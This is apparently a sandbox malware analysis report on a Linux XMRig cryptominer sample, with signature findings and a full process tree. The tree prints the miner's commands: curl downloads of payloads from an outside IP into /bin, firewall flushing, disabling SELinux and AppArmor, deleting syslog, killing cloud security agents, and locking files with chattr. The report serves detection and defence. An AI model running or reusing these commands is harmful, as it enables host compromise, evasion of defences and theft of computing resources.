Analysis
- max time kernel
78s - max time network
64s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
08/08/2026, 13:14
General
- Target ksmd
- Size 40KB
- Sample260808-qgp73sdf49
- SHA256 5917b613c1eb3eebbbd2e7a5ca3ed1ce327e27aceaf9153bb7fafed59f0e40d4
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Deletes system logs 1 TTPs 1 IoCs
Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.
- Disables AppArmor Mandatory Access Control 1 TTPs 28 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
- Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
- Disables SELinux 1 TTPs 2 IoCs
Disables SELinux security module.
- Enumerates running processes
Discovers information about currently running processes on the system
- Removes the immutable protection flag from a file 1 TTPs 63 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
- Write file to user bin folder 6 IoCs
- Writes file to system bin folder 3 IoCs
- Checks CPU configuration 1 TTPs 4 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- Reads CPU attributes 1 TTPs 64 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/ksmd/tmp/ksmd1⤵
- Write file to user bin folder
-
/usr/bin/whichwhich cd12⤵
-
-
/usr/bin/whichwhich wd12⤵
-
-
/usr/bin/pgreppgrep -f xmrig2⤵
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f minerd2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f cpuminer2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f ethminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f nbminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f t-rex2⤵
-
-
/usr/bin/pgreppgrep -f lolminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f pheonixminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f bminer2⤵
-
-
/usr/bin/pgreppgrep -f gminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f teamredminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f nanominer2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f srbminer2⤵
- Reads CPU attributes
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*minerd*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*cpuminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*nbminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*t-rex*" -type f2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*lolminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*bminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*gminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*teamredminer*" -type f2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*nanominer*" -type f2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*srbminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*xmrig*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*minerd*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*ethminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*nbminer*" -type f2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*t-rex*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*lolminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*gminer*" -type f2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*teamredminer*" -type f2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*nanominer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*srbminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*xmrig*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*minerd*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*cpuminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*ethminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*nbminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*t-rex*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*lolminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*bminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*gminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*teamredminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*nanominer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*srbminer*" -type f2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/idid -u2⤵
-
-
/bin/rmrm -rf /tmp/ksmd /tmp/systemd-private-d4d3cdab63a14abfade470cb5f2f1553-systemd-timedated.service-SPlI052⤵
-
-
/bin/rmrm -rf /var/tmp/systemd-private-d4d3cdab63a14abfade470cb5f2f1553-systemd-timedated.service-EB1l472⤵
-
-
/bin/rmrm -rf "/dev/shm/*"2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://34.70.205.211/plugins-dist/safehtml/lang/font/ksmd2⤵
- Checks CPU configuration
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://34.70.205.211/plugins-dist/safehtml/lang/font/ksmd2⤵
- Writes file to system bin folder
- Checks CPU configuration
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/javab http://34.70.205.211/plugins-dist/safehtml/lang/font/javab2⤵
- Writes file to system bin folder
- Checks CPU configuration
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/usr/bin/md5summd5sum /bin/javab2⤵
-
-
/usr/bin/cutcut "-d " -f12⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /bin/idle2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/idle http://34.70.205.211/plugins-dist/safehtml/lang/font/idle2⤵
- Writes file to system bin folder
- Checks CPU configuration
-
-
/bin/lsls -lh /bin/ksmd /bin/javab /bin/idle2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
-
-
/bin/rmrm -rf "/tmp/addres*" "/tmp/walle*" /tmp/keys2⤵
-
-
/bin/rmrm -f /var/log/syslog2⤵
- Deletes system logs
-
-
/bin/syncsync2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -i "[a]liyun"2⤵
-
-
/bin/grepgrep -i "[y]unjing"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
-
-
/usr/sbin/serviceservice apparmor stop2⤵
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor Mandatory Access Control
- Reads runtime system information
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep aegis2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/bin/grepgrep Yun2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/bin/grepgrep aegis2⤵
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep hids2⤵
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep cloudwalker2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/bin/grepgrep titanagent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep edr2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep aegis2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep Yun2⤵
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep hids2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep cloudwalker2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep titanagent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep sgagent2⤵
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep barad_agent2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/bin/grepgrep hostguard2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep httpgd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "kworker_u8_0|xmrig"2⤵
- Reads runtime system information
-
-
/bin/rmrm -rf /usr/local/aegis2⤵
-
-
/bin/sleepsleep 12⤵
-
-
/usr/bin/chattrchattr -i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
-
-
/usr/bin/chattrchattr -i /usr/bin/kswaped2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/irqbalanced2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/rctlcli2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/systemd-network2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/pamdicks2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
-
-
/usr/bin/chattrchattr +i /usr/bin/kswaped2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/irqbalanced2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/rctlcli2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/systemd-network2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/pamdicks2⤵
- Removes the immutable protection flag from a file
-
-
/bin/sleepsleep 12⤵
-
-
/bin/rmrm -f /tmp/.null2⤵
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/grepgrep "kworker -c\\"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep log_2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep systemten2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
/usr/local/sbin/killkill -9 143⤵
-
-
/usr/local/bin/killkill -9 143⤵
-
-
/usr/sbin/killkill -9 143⤵
-
-
/usr/bin/killkill -9 143⤵
-
-
/sbin/killkill -9 143⤵
-
-
/bin/killkill -9 143⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/grepgrep netns2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/bin/grepgrep voltuned2⤵
-
-
